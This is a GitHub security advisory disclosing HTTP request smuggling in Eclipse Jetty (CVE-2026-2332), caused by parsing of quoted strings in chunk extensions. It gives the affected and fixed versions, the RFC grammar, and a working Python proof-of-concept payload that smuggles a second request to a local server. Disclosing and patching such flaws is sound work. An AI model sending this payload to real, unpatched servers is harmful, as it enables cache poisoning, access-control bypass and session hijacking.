GitHub Advisoryadvisory · Maven
GHSA-355h-qmc2-wpwf Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
HIGH
Official page ↗
- Aliases
- CVE-2026-2332
- Ecosystem
- Maven
- Packages
- org.eclipse.jetty:jetty-http
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-444
- Reviewed
- 2026-04-14
Affected packages
• Maven org.eclipse.jetty:jetty-http: >= 12.1.0, < 12.1.7 → fixed in 12.1.7
• Maven org.eclipse.jetty:jetty-http: >= 12.0.0, < 12.0.33 → fixed in 12.0.33
• Maven org.eclipse.jetty:jetty-http: >= 11.0.0, < 11.0.29 → fixed in 11.0.29
• Maven org.eclipse.jetty:jetty-http: >= 10.0.0, < 10.0.28 → fixed in 10.0.28
• Maven org.eclipse.jetty:jetty-http: >= 9.4.0, < 9.4.60 → fixed in 9.4.60
Description
Description (as reported)
Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:
• https://w4ke.info/2025/06/18/funky-chunks.html
• https://w4ke.info/2025/10/29/funky-chunks-2.html
The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.
Technical Details
RFC 9112 Section 7.1.1 defines chunked transfer encoding:
```
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
```
RFC 9110 Section 5.6.4 defines quoted-string:
```
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
```
A quoted-string continues until the closing DQUOTE, and `\r\n` sequences are not permitted within the quotes.
Vulnerability
Jetty terminates chunk header parsing at `\r\n` inside quoted strings instead of treating this as an error.
Expected (RFC compliant):
```
Chunk: 1;a="value\r\nhere"\r\n
^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]
```
Actual (jetty):
```
Chunk: 1;a="value
^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request
```
Proof of Concept
```python
!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
```
Result: Server returns 2 HTTP responses from a single TCP connection.
Parsing Breakdown
| Parser | Request 1 | Request 2 |
|--------|-----------|-----------|
| jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) |
| RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) |
Impact
• Request Smuggling: Attacker injects arbitrary HTTP requests
• Cache Poisoning: Smuggled responses poison shared caches
• Access Control Bypass: Smuggled requests bypass frontend security
• Session Hijacking: Smuggled requests can steal other users' responses
Reproduction
1. Start the minimal POC with docker
2. Run the poc script provided in same zip
Suggested Fix
Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112.
A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.
Patches
No patches yet.
Workarounds
No workarounds yet.
References
• RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
• Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html
• details for security versions https://jetty.org/security.html
Related
Alias · CVE (1)
- CVE-2026-2332 In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the "funky chunks"… vulnerability
Weakness · CWE (1)
- CWE-444 Inconsistent Interpretation of HTTP Requests weakness
References
- https://github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf web
- https://nvd.nist.gov/vuln/detail/CVE-2026-2332 advisory
- https://w4ke.info/2025/06/18/funky-chunks.html web
- https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-2332.json web
- https://gitlab.eclipse.org/security/cve-assignment/-/issues/89 web
- https://github.com/jetty/jetty.project package
- https://bugzilla.redhat.com/show_bug.cgi?id=2458187 web
- https://access.redhat.com/security/cve/CVE-2026-2332 web
- https://access.redhat.com/errata/RHSA-2026:50263 web
- https://access.redhat.com/errata/RHSA-2026:50223 web
- https://access.redhat.com/errata/RHSA-2026:50222 web
- https://access.redhat.com/errata/RHSA-2026:50221 web
- https://access.redhat.com/errata/RHSA-2026:25089 web
- https://access.redhat.com/errata/RHSA-2026:22453 web
- https://access.redhat.com/errata/RHSA-2026:21773 web
- https://access.redhat.com/errata/RHSA-2026:20568 web
- https://access.redhat.com/errata/RHSA-2026:17668 web
- https://access.redhat.com/errata/RHSA-2026:14272 web
- https://access.redhat.com/errata/RHSA-2026:10175 web